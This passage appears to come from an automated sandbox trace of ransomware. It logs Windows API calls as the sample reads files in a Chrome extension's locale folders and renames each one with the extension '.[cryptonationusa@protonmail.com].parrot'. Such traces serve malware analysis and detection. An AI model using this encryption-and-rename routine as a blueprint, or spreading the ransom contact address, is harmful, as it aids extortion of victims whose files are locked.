dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.679] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.679] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834da9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834dd0e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834dd0e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.679] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.679] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.679] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834dd0e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834df7f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x41bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.679] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x42d7, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.679] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.679] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.681] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.681] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x41bf, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x41bf, lpOverlapped=0x0) returned 1 [0074.683] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.683] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x42d7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.683] CloseHandle (hObject=0x274) returned 1 [0074.684] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.688] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.688] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834da9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9ff8660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9ff8660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.688] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834dd0e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834df7f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9ff8660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x42d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.689] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.689] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.689] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834e9430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ebb40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.689] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.689] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.689] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ebb40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x583f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.690] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5957, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.690] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.690] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.692] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.692] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x583f, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x583f, lpOverlapped=0x0) returned 1 [0074.694] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.695] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5957, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.695] CloseHandle (hObject=0x274) returned 1 [0074.696] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.700] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.700] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834e9430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba01e7c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba01e7c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.700] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ebb40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba01e7c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5958, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.700] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.700] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.700] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834f0960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834f3070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.700] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.700] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.700] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834f3070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5224, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.701] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x533c, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.701] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.701] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.730] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.730] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5224, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x5224, lpOverlapped=0x0) returned 1 [0074.733] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.734] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x533c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.735] CloseHandle (hObject=0x274) returned 1 [0074.735] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.740] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.740] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834f0960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba06aa80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba06aa80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.740] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834f3070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba06aa80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5348, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.740] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.740] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.740] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834fccb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ff3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.741] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.741] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.741] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ff3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398e3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.742] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x40a3, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.742] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.742] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.743] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.743] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3f8b, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3f8b, lpOverlapped=0x0) returned 1 [0074.745] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.746] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x40a3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.746] CloseHandle (hObject=0x274) returned 1 [0074.746] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.749] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.749] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834fccb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba090be0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba090be0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.750] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ff3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba090be0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x40a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.750] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.750] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.750] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835041e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835068f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835068f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.750] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.750] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.750] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835068f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835068f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398e3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3ebc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.750] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3fd4, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.750] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.750] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.752] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.752] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3ebc, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3ebc, lpOverlapped=0x0) returned 1 [0074.754] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.755] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3fd4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.755] CloseHandle (hObject=0x274) returned 1 [0074.755] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.759] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 